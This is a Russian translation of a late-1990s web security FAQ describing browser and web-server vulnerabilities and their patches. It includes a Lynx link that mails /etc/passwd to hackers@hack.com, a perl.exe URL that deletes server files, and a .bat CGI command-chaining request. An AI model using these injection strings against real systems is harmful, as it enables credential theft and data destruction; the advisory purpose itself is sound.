Проблема вытекает из "возможности", встроенной в IE. Файлы ярлыков (shortcut) обычно создаются пользователями для быстрого доступа к файлам на локальных дисках. Если ярлык помещен на сервер Web и получен через Internet, то выбор ссылки на ярлык приводит к неожиданному эффекту - файл, если он есть, открывается *на машине пользователя*. Если файл является выполнимой программой, такой как редактор регистра Windows, или интерпретатор команд DOS, то результатом может быть запуск потенциально опасной программы на машине пользователя без его информирования. Злоумышленник может также создать командный (.bat) файл, сохранить его в буфере браузера ничего не подозревающего пользователя, и затем запустить этот файл на выполнение.

Лазейка присутствует как в Windows 95, так и в Windows NT, и присутствует даже в том случае, если вы выбираете наивысший уровень безопасности. Лазейка не имеет отношения к ActiveX или Java. Кроме ссылок в документах HTML, лазейка затрагивает ссылки, включенные в статьях в телеконференциях и сообщения e-mail.

Лазейка была найдена Paul Greene и изучена с помощью Geoffrey Elliot и Brian Morin. Детали (включая впечатляющие примеры) можно найти на сервере: http://www.cybersnot.com/iebug.html.

Если вы используете IE 3.01 или более ранних версий, то вам настоятельно рекомендуется применить исправления, выпущенные Microsoft Corporation и доступные на их сервере: http://www.microsoft.com/ie/security/update.htm. После применения убедитесь, что ваша копия была корректно исправлена, выбрав пункт "About Internet Explorer" (о программе) из меню Help (помощь). Версия вашей программы должна быть указана как 3.01b. Исправленная версия будет предупреждать вас перед открытием файла через ярлык. В общем случае стоит отказываться от открытия ярлыка, полученного через Internet.

Вот простой тест для проверки того, используете ли вы исправленную версию IE. Попробуйте выбрать ссылку, приведенную ниже. Если вы получите предупреждение о том, что вы пытаетесь запустить двоичный файл, и предложение выбора между "открыть" (open) и "сохранить" (save) его, то у вас исправленная версия браузера. Если появляется окно текстового редактора notepad (блокнот), то у вас есть проблемы.

file:///C:/WINDOWS/NOTEPAD.EXE

Начиная с 14 марта 1997г., исправления Microsoft касаются также и ссылок, заключенных в сообщения электронной почты и телеконференций. Первая версия исправлений не затрагивала этой проблемы.

В качестве комментария - план Microsoft скрыть различия между Internet и рабочим столом имеет обратную сторону. В ситуации, когда трудно различить непроверенные программы, полученные "откуда-то там", и те, что лежат на локальном диске, пользователь может легко совершать ошибки, подвергающие его машину всевозможным нападениям. По мнению автора эта стратегия - из тех, что связаны с большим риском.

Список вопросов и ответов по безопасности в Internet Explorer формируется по адресу:

http://www.nwnetworks.com/iesf.html
Обращайтесь туда за получением дальнейшей информации по проблемам безопасности в IE.

B69: Известны ли проблемы в Netscape Communicator/Navigator?

Существует множество лазеек в браузерах Netscape, связанных с подсистемами JavaScript, Java и ActiveX. Этих рисков можно избежать, выключив соответствующие функции в настройках программы. В этом разделе обсуждаются проблемы, относящиеся к ядру программы и не имеющие такого простого решения.

Ошибки переполнения буферов (апрель 1998)

На волне находок ошибок переполнения буферов в Internet Explorer, люди стали искать подобные ошибки в продуктах Netscape. Не приходится удивляться тому, что поиски оказались успешными.

Единственная известная в настоящее время ошибка затрагивает файл закладок (bookmarks). Netscape Communicator резервирует буфер фиксированного размера для хранения названия заложенной страницы. Если Вы добавляете к закладкам страницу с необычно длинным заголовком, то браузер вызовет ошибку при следующем обращении к закладке. Подобно ошибкам в Internrt Explorer, эта лазейка может быть использована для выполнения произвольного кода на вашей машине.

В настоящее время неизвестно, какие версии затронуты этой ошибкой. Версии 4.03 и 4.04 для Windows 95 и NT точно ее содержат. Статус версий для Macintosh и Unix остается невыясненным. В настоящее время исправлений для ошибки нет (13 апреля 1998). Ошибки можно избежать внимательной проверкой страниц перед их добавлением к закладкам. Следует проявлять осторожность в случаях, если страница имеет очень длинный заголовок, или заголовок содержит странные символы.

B70: Известны ли проблемы в Lynx для Unix?

Версии Lynx до 2.7.1 включительно содержат очень опасную лазейку, позволяющую авторам Web выполнять произвольные системные команды на машине пользователя, просто указывая *LYNXDOWNLOAD* URL, содержащие обратные кавычки. Для примера, выбор следующего URL приведет к передаче файла паролей по электронной почте:

```
<
a href="LYNXDOWNLOAD://Method=-
1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test">
НАЖМИТЕ ЗДЕСЬ
</a>
```

Это есть пример отсутствия проверки вводимой пользователем информации на присутствие метасимволов командного процессора, проблемы, годами мучающей разработчиков CGI.

Обновите Вашу версию Lynx как можно скорее.

10. Проблемы с конкретными серверами

Серверы для Windows NT

B71: Известны ли проблемы с безопасностью в сервере Netscape Communications Server for NT?

Доступность исходных текстов вставок на сервере, 25 июня 1998

Программисты San Diego Source - службы новостей компании *San Diego Daily Transcript* - обнаружили, что возможно получить файлы с исходными текстами вставок на сервере, если добавить определенные символы к коу URL; тем самым удаленный пользователь может получить доступ к различного рода информации, включая пользовательские имена и пароли для доступа к базам данных. Кроме вставок на сервере эта ошибка затрагивает такие популярные системы, как Allaire Cold Fusion, Microsoft Active Server Pages и PHP.

Детали использования лазейки не были опубликованы, однако вы можете найти более подробное описание проблемы в оригинальной статье на URL http://www.sddt.com/files/library/98/06/25/tbc.html.

Netscape сообщила, что исправления разрабатываются. Проверте наличие исправлений на сайте Netscape. Если Вы используете вставки на сервере, то вам необходимо воспользоваться исправлениями немедленно после их выпуска.

Серверы O'Reilly WebSite и WebSite Professional также содержат эту лазейку. Microsoft IIS видимо не содержит ее.

Обходной путь для доступа к защищенным файлам, 8 января 1998г.

Netscape Enterprise Server 3.0 и FastTrack 3.01 содержат ошибку, позволяющую удаленным пользователям, не обладающим соответствующими правами доступа, получать защищенные паролем документы. Эта возможность относится ко всем файлам, *не использующим* стандартный формат имени файла DOS (максимум 8 символов имени и 3 символа расширения). Например, если файл имеет имя *некоедлинноеимяфайла.htm*, то пользователь может запросить файл с именем НЕКОЕ~1.HTM, являющееся эквивалентом того же имени файла для DOS. И даже если файл защищен паролем, такой запрос будет удовлетворен.

Netscape обещает выпустить исправления. По состоянию на 16 января 1998 года, исправления еще не доступны на сервере Netscape.

Эта ошибка затрагивает также сервер Microsoft IIS . Есть сообщения о том, что последние версии сервера WebSite Professional не содержат этой лазейки.

Скрипты CGI, написанные на Perl, часто неправильно настроены, 1997г.

Сервер Netscape не использует механизм файл-менеджера NT для связи расширений имен файлов с выполняемыми приложениями. Даже если вы ассоциируете расширение .pl с интерпретатором Perl, скрипты perl не распознаются как таковые будучи помещенными в директорий cgi-bin. До последнего времени Netscape рекомендовала помещать perl.exe. в cgi-bin и ссылаться на скрипты как `/cgi-bin/perl.exe?&имя_скрипта.pl`.

К сожалению, это позволяет любому пользователю в Internet выполнять на вашем сервере произвольные команды Perl, например: `/cgi-bin/perl.exe?&-e+unlink+%3C*%3E` (при обращении стираются все

файлы в текущем директории сервера). Это *плохо*. Текущие рекомендации Netscape состоят в заключении вашего скрипта в .bat файл. Однако это не безопаснее из-за похожей проблемы с .bat файлами.

Поскольку серверы для NT EMWACS, Purveyor и WebSite используют механизмы NT для распознавания имен файлов, вы можете использовать скрипты на Perl на этих серверах не помещая perl.exe в директорий cgi-bin. Указанные серверы безопаснее в этом отношении.

Командные файлы DOS (.bat файлы) небезопасны, февраль 1996г.

Более старые версии серверов Netscape (как Netscape Communications Server версия 1.12, так и Netscape Commerce Server версия 1.0) имеют две проблемы, связанные с обработкой скриптов CGI. Одна из этих проблем присутствует также в сервере WebSite Server. Ian Redfernredferni@logica.com) обнаружил, что аналогичная ошибка содержится в обработке скриптов CGI, реализованных как командные файлы DOS. Вот выдержка из его сообщения, описывающего проблему:

```
  Рассмотрим файл test.bat:

    @echo off
    echo Content-type: text/plain
    echo
    echo Hello World!

  Если обратиться к нему как "/cgi-bin/test.bat?&dir", то вы получите вывод
программы, за которым последует список файлов в директории.

Похоже, что сервер генерирует команду system("test.bat &dir"), которая, не без
оснований, выполняется командным интерпретатором так же, как это было бы
сделано оболочкой  /bin/sh - выполнить test.bat и, если все в порядке,
выполнить команду dir.
```

B72: Известны ли проблемы с безопасностью в сервере O'Reilly WebSite server for Windows NT/95?

Доступность исходных текстов вставок на сервере, 25 июня 1998

Программисты San Diego Source - службы новостей компании *San Diego Daily Transcript* - обнаружили, что возможно получить файлы с исходными текстами вставок на сервере, если добавить определенные символы к концу URL; тем самым удаленный пользователь может получить доступ к различного рода информации, включая пользовательские имена и пароли для доступа к базам данных. Кроме вставок на сервере эта ошибка затрагивает такие популярные системы, как Allaire Cold Fusion, Microsoft Active Server Pages и PHP.

Детали использования лазейки не были опубликованы, однако вы можете найти более подробное описание проблемы в оригинальной статье на URL http://www.sddt.com/files/library/98/06/25/tbc.html.

В O'Reilly сообщают, что исправления будут сделаны в серверах WebSite и WebSite Professional версии 2.3. Если вы используете вставки на сервере, то вам остро необходимо подумать об обновлении версии.

Серверы Netscape для Windows также содержат эту лазейку. Microsoft IIS видимо не содержит ее.

.BAT файлы уязвимы (1996)

WebSite версии 1.1b и более ранних имеет ту же лазейку с .bat файлами DOS, которая есть в Netscape. Однако, поскольку WebSite поддерживает три заличных интерфейса для CGI (Windows, Standard CGI для скриптов на Perl и редко используемый интерфейс для DOS .bat файлов), рекомендуется выключить

поддержку интерфейса к .bat файлам. Это не повлияет на способность сервера работать со скриптами на Visual Basic, Perl, или C.

Эта лазейка исправлена в версии 1.1c. Вы должны обновить вашу версию с использованием исправлений, доступных на сервере WebSite.

Подробная информация о действиях, необходимых для закрытия этой лазейки, доступна на этой странице разработчика сервера WebSite.

B73: Известны ли проблемы в Purveyor Server for Windows NT?

Все версии сервера Purveyor Web server содержат ошибку, позволяющую получить доступ к текстам вставок на сервере. Смотрите раздел об ошибках в Netscape Enterprise Server для получения более подробной информации. Поддержка сервера Purveyor была прекращена в 1997 году, таким образом, исправлений или свежих версий нет. Вы можете выбирать между отказом от вставок на сервере и полной заменой программного обеспечения сервера.

B74:Известны ли проблемы с Microsoft IIS Web Server?

Обходной путь для доступа к защищенным файлам, 8 января 1998г.

Microsoft Internet Information Server и Personal Web Server версий 4.0 и более ранних содержат ошибку, позволяющую удаленным пользователям, не обладающим соответствующими правами доступа, получать защищенные паролем документы. Эта возможность относится ко всем файлам, *не использующим* стандартный формат имени файла DOS (максимум 8 символов имени и 3 символа расширения). Например, если файл имеет имя *некоедлинноеимяфайла.htm*, то пользователь может запросить файл с именем НЕКОЕ~1.HTM, являющееся эквивалентом того же имени файла для DOS. И даже если файл защищен паролем, такой запрос будет удовлетворен. Защита паролем, основанная на списках контроля доступа файловой системы, не затрагивается этой ошибкой, но другие настройки доступа к файлам, такие как PICS rating, затрагиваются.

Исправления можно найти на Microsoft's security pages. Свежие версии сервера не содержат этой ошибки.

Такая же ошибка присутствует в серверах Netscape Enterprise и Commerce. Сообщается об отсутствии этой проблемы в последних версиях WebSite Professional.

Лазейка .BAT CGI, март 1996г.

Версии IIS, полученные до 5 марта 1996 года, содержат ту же лазейку в части .bat файлов, что и другие серверы для NT. На самом деле дело даже хуже, поскольку для возможности выполнения злоумышленником произвольных наборов команд нет необходимости иметь установленный на сервере скрипт!

Microsoft выпустил исправление этой ошибки, доступное по адресу http://www.microsoft.com/infoserv. Кроме того, все копии сервера, полученные после 5 марта 1996 года, не должны содержать этой ошибки. Если вы используете этот сервер, то проверте дату создания вашей копии, и если необходимо - обновите ее.

Microsoft IIS версий до 3.0 содержат лазейку, позволяющую удаленному пользователю получить доступ к **содержимому** выполняемых скриптов, и, возможно, таким образом - к важной информации: структура сети, или имена баз данных, или алгоритмы вычисления скидок. Лазейка присутствует, если для директория со скриптами разрешен доступ на чтение и на выполнение. Удаленный пользователь имеет

возможность получить файл скрипта просто добавив точку в конец адреса URL. Для защиты запретите доступ для чтения ко всем дмректориям, содержащим скрипты CGI. Или получите исправления от Microsoft, доступные по адресу

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp2/iis-fix

25 июня 1997 -- нападение с целью подавления (denial of service attack)

IIS версии 3.0 подвержен простой атаке с целью подавления. Послав запрос определенной длины можно вызвать сбой сервера. Сервер после этого должен быть запущен заново вручную. Множество программ на Perl и Java, использующих эту возможность, циркулируют в сети, и были сообщения о реальных нападениях.

Точная длина запроса, вызывающего сбой, варьирует от сервера к серверу, и зависит от таких вещей, как размер используемой памяти. Магический размер обычно составляет число, близкое к 8192 символам, что позволяет предположить наличие ошибки переполнения буфера. В прошлом подобные ошибки часто использовались знающими хакерами для выполнения команд на сервере, что позволяет опасаться, что данная лазейка может потенциально быть более опасной.

Исправления можно получить у Microsoft: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix

B75: Известны ли проблемы с безопасностью в сервере JavaWebServer для Windows NT фирмы Sun?

Исходный код сервлетов может быть вскрыт, 29 июня 1998

JavaWebServer способен компилировать и выполнять файлы классов Java так же, как скрипты CGI (только гораздо более эффективно). Маленькие программы на Java называют "сервлетами".

Версия JavaWebServer для Windows NT содержит лазейку, позволяющую удаленному пользователю получать доступ к исходным файлам классов Java. Ошибка похожа на ошибки в серверах O'Reilly WebSite Professional и Netscape Enterprise Server. Добавив определенные символы к URL, пользователь может заставить сервер передать ему целый сервлет, который можно декомпилировать с применением программ типа Mocha. Проблема заслуживает внимания, поскольку сервлеты могут содержать важную информацию, включая пароли для доступа к базам данных.

Компания Sun пока не объявляла об исправлениях. Проверте их доступность на корпоративном сайте Sun. Подробности можно прочесть на http://www.sddt.com/files/library/98/06/29/tbd.html

B76: Известны ли проблемы с безопасностью в сервере MetaInfo MetaWeb Server?

Доступность директориев, 30 июня 1998

MetaInfo (http://linux.shadrinsk.net/opennet/docs/RUS/www-security-faq/www.metainfo.com) производит ряд продуктов для NT, включая порты программы Sendmail из UNIX и сервера DHCP/DNS. Эта компания предоставляет сервер Web, называемый MetaWeb, в качестве дружественного пользовательского инструмента для администрирования этих программ. Во время написания этого документа последняя версия MetaWeb была 3.1.

Согласно Jeff Forristal, нашедшему эту лазейку, MetaWeb содержит проблему "двойной точки", имевшуюся в ранних версиях Microsoft IIS. Включая двойные точки ("..") в состав URL, можно

получить доступ к директориям за пределами дерева документов Web, включая системные директории Windows. Это позволяет получить доступ к конфиденциальной информации. Хуже того, один из вариантов нападения позволяет запускать на выполнение программы, установленные на сервере.

MetaWeb пока не предоставила исправлений или новых версий сервера. Обновите вашу версию сразу после выпуска исправлений. Хорошим временным решением проблемы будет отключение удаленного администрирования через WWW.

Более подробную информацию можно получить на сайте Jeff Forristal.

Серверы для Unix

B77: Известны ли проблемы в NCSA httpd?

Версии NCSA httpd до 1.4 содержат серьезную ошибку, связанную с фиксированной длиной строкового буфера. Хакер может проникнуть в систему, на которой выполняется этот сервер, послав очень длинный запрос. Хотя эта ошибка хорошо известна уже более года, многие узлы продолжают использовать небезопасные версии этого сервера. Текущая версия программы - 1.5 - не содержит этой лазейки и доступна через ссылку, приведенную в начале этого абзаца.

Недавно стало известно, что пример кода на C (`cgi_src/util.c`) распространявшийся долгое время с NCSA httpd в качестве примера того, как надо писать безопасные скрипты CGI, не содержит символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. Тем самым в любой скрипт, написанный с использованием этого примера, внесена серьезная лазейка - хакер может использовать эту ошибку для выполнения произвольной команды Unix на сервере. Это еще один пример опасности применения команд оболочек ОС в скриптах CGI.

Кроме того, исходные тексты самого сервера NCSA (версии 1.5a и более ранние) содержат ту же самую ошибку. Ошибочная процедура идентична, но находится в файле `src/util.c`, а не в `cgi_src/util.c`. При изучении текстов программ сервера автор не нашел места, где строка, введенная пользователем, передавалась бы оболочке ОС после обработки этой функцией, поэтому он *думает*, что это не является серьезной лазейкой. Однако безопаснее применить исправления, приведенные ниже.

Сервер Apache, версии 1.02 и ниже, также содержит эту ошибку и в директории `cgi_src`, и в `src/`. Возможно, аналогичная ошибка имеется и в других серверах - производных от NCSA.

Способ исправления лазейки в двух файлах `util.c` прост. "phf" и любой другой скрипт, использующий эту библиотеку, должен быть заново скомпилирован после внесения исправлений (программа GNU patch может быть получена по ftp: ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz). Вы должны дважды применить эту "заплату": один раз - находясь в директории cgi_src/, потом - в src/:

```
   tulip% cd ~www/ncsa/cgi_src
   tulip% patch -f < ../util.patch
   tulip% cd ../src
   tulip% patch -f < ../util.patch

--------------------------------- линия отреза ---------------------------------
*** ./util.c.old       Tue Nov 14 11:38:40 1995
--- ./util.c           Thu Feb 22 20:37:07 1996
***************
*** 139,145 ****

      l=strlen(cmd);
      for(x=0;cmd[x];x++) {
```

```
!          if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
               for(y=l+1;y>x;y--)
                   cmd[y] = cmd[y-1];
               l++; /* length has been increased */
--- 139,145 ----

       l=strlen(cmd);
       for(x=0;cmd[x];x++) {
!          if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
               for(y=l+1;y>x;y--)
                   cmd[y] = cmd[y-1];
               l++; /* length has been increased */
-------------------------------- линия отреза ---------------------------------
```

B78: Известны ли проблемы в Apache httpd?

Версии Apache httpd до 1.2.5 содержат ряд ошибок программирования, превносящих ограниченные риски. Пользователи, имеющие доступ к машине с сервером (например, авторы документов Web), могут создавать документы, которые, при доступе к ним через WWW, дают возможность пользователю выполнять системные команды Unix пользуясь правами доступа, с которыми выполняется сервер. Поскольку локальные пользователи как правило имеют гораздо большие права, это может не рассматриваться как лазейка в безопасности. Однако, такую возможность должны иметь в виду провайдеры (ISP), предоставляющие услуги по размещению страниц WWW сторонним пользователям. Apache версии 1.2.5 не содержит этих ошибок, обновите вашу версию при первой возможности. Если вы пользуетесь версией Apache 1.3 beta, то вы можете применить исправления, доступные на узле www.apache.org, или дождитесь выпуска версии 1.3b4.

Серверы Apache до 1.1.3 содержат две гораздо более серьезные лазейки. Первая относится к серверам, откомпилированным с модулем "mod_cookies". Пользователь имеет возможность посылать очень длинные cookies и вызывать переполнение стека, что дает возможность выполнения произвольных системных команд. Поскольку в этом случае удаленный пользователь имеет возможность получить доступ к системе, в этом случае опасность гораздо более серьезная, чем в предидущем, когда лазейка может быть использована только локальным пользователем.

Вторая проблема с версией 1.1.1 касается автоматического просмотра директориев. Обычно пользователь не имеет возможности получить список файлов из директория, если там есть "страница приветствия", такая, как файл "index.html". Ошибка вызывает нарушение этой проверки при определенных условиях, и пользователь имеет возможность просмотра содержимого директория даже если там есть "страница приветствия". Ошибка менее серьезна, чем первая, но оставляет возможность для утечки информации.

Подробную информацию и текущие версии сервера Apache можно получить по адресу:

http://www.apache.org/

B79: Известны ли проблемы в серверах Netscape?

Netscape Communications Server не содержит известных лазеек в безопасности.

Однако, хорошо известны два случая, когда была взломана система шифрования, используемая в Netscape Secure Commerce Server. В первом случае сообщение, зашифрованное с менее надежным 40-разрядным ключем, было вскрыто методом грубой силы с использованием сети рабочих станций. 128-разрядные ключи, используемые для шифрования в пределах США, считаются устойчивыми к такого рода атакам.

Во втором случае было обнаружено, что генератор случайных чисел, используемый сервером для построения ключей шифрования, относительно предсказуем, что позволяет использовать программу-взломщик для быстрого нахождения правильного ключа. Эта лазейка была закрыта в последних версиях программы, и вы должны обновить вашу версию если вы используете шифрование для защиты передаваемых данных. И сервер, и *браузер* должны быть обновлены для того, чтобы полностью закрыть эту лазейку. Для получения дальнейшей информации см. http://home.netscape.com/newsref/std/random_seed_security.html.

B80: Известны ли проблемы в Lotus Domino Go Server?

Bill Jones mailto:webmaster@fccj.cc.fl.us сообщает, что сервер Lotus Domino Go, ранее называвшийся IBM Internet Connection Server (ICS), содержал серьезную лазейку в просмотре директориев. Когда установлен режим просмотра "fancy", потенциальный хакер может просматривать содержимое директориев верхних уровней, вплоть до корневого ("/"). Таким образом частные документы становятся доступными для перехвата. Ошибка присутствует в версиях с 1.0 по 2.0 для систем AIX и OS/2 Warp.

Согласно Richard L. Gray (rlgray@us.ibm.com>) из IBM, все известные проблемы исправлены в версиях 4.2.1.3 и более поздних. Lotus Domino Go теперь существует для систем Windows 95, Windows NT, OS/390, HPUX и Solaris.

B81: Известны ли проблемы с безопасностью в сервере WN Server?

Сервер WN не содержит известных лазеек в безопасности. Как объяснено в ответе на B6, он обладает рядом особенностей, уменьшающих вероятность риска, связанного с неправильной конфигурацией сервера.

Серверы для Macintosh

B82: Известны ли проблемы с безопасностью в сервере WebStar?

Существует проблема с обработкой файлов трассировки сервером WebSTAR. Если вы используете стандартные настройки при установке сервера, то файлы трассировки будут храниться вместе с документами Web. Любой сможет получить файлы трассировки и изучить историю запросов к серверу просто обратившись по адресу "http://ваш.узел/WebSTAR%20LOG ". Как отмечалось в разделе Файлы трассировки и права личности, это может нарушать права пользователя. Используйте программы настройки сервера для того, чтобы вынести файлы трассировки за пределы дерева документов.

Есть причины предполагать, что сам по себе сервер WebSTAR более безопасен, чем серверы для Unix и Windows. Поскольку Macintosh не имеет оболочки ОС с командным языком, и поскольку он не позволяет удаленного входа (remote login) в систему, можно ожидать, что Mac по своей природе более безопасен, чем другие платформы. Эти ожидания пока оправдываются: до сих пор не было сообщений о проблемах с безопасностью ни в сервере WebStar, ни в его shareware предшественнике MacHTTP.

В начале 1996 года консорциум разработчиков программ Internet для Macintosh, в состав которого входит производитель WebStar - StarNine, объявил о награде в размере 10000 долларов любому, кто сможет прочесть защищенную паролем страницу Web на Macintosh под управлением WebStar. Как написано в статье с объявлением конкурса в Tidbits#317/04-Mar-96, в течение 45 дней никто не подал заявки на приз.

Хотя "проникнуть" на Macintosh обычным образом нельзя, могут обнаружиться следующие потенциальные лазейки:

1. Использование лазеек на сервере для чтения файлов за пределами официального дерева документов
2. Нахождение способа "завешивания" сервера
3. Использование лазеек в скриптах CGI для выполнения команд AppleScript. Это особенно касается скриптов на Perl. Все замечания относительно безопасного программирования применимы и здесь.

На самом деле, повторный конкурс "взломай Мак" (Crack-a-Mac) в 1997 году, организованный шведской консалтинговой компанией, был не так успешен. В этом случае взломщик смог проникнуть на сервер и украсть защищенную страницу, используя для этого ошибки в двух надстройках сервера, предназначенных для удаленного администрирования и редактирования. Это является примером рисков, привносимых использованием скриптов CGI, дополнительных модулей и надстроек сервера. Детали истории и исправления модулей можно найти на http://hacke.infinit.se/

B83: Известны ли проблемы с безопасностью в MacHTTP?

MacHTTP обладает той же, что и WebSTAR, проблемой в части файлов трассировки. См. описание выше.

B84: Известны ли проблемы с безопасностью в Quid Pro Quo?

Сервер Quid Pro Quo по умолчанию хранит свой файл трассировки в корне дерева документов, на URL `http://имя.сервера/server%20logfile`. Опытный пользователь может узнать о каждом запросе к вашему серверу!

(Информация предоставлена Paul DuBois <dubois@primate.wisc.edu>).

Другие серверы

B85: Известны ли проблемы в сервере Novell WebServer?

Если вы используете сервер Novell Webserver версии 3.x и установили Server Examples Toolkit v.2, у вас есть серьезная лазейка в безопасности. Пользователи могут просматривать любой файл в вашей системе и получать списки директориев, возможно, получая доступ к информации, необходимой для проникновения в систему. Лазейка заключена в скрипте - примере files.pl. Удалите его из вашего директория /perl (обычно он расположен в SYS:INW_WEB\SHARED\DOCS\LCGI\PERL5.) А еще лучше - удалите **все** скрипты CGI, которые не необходимы для работы вашего узла.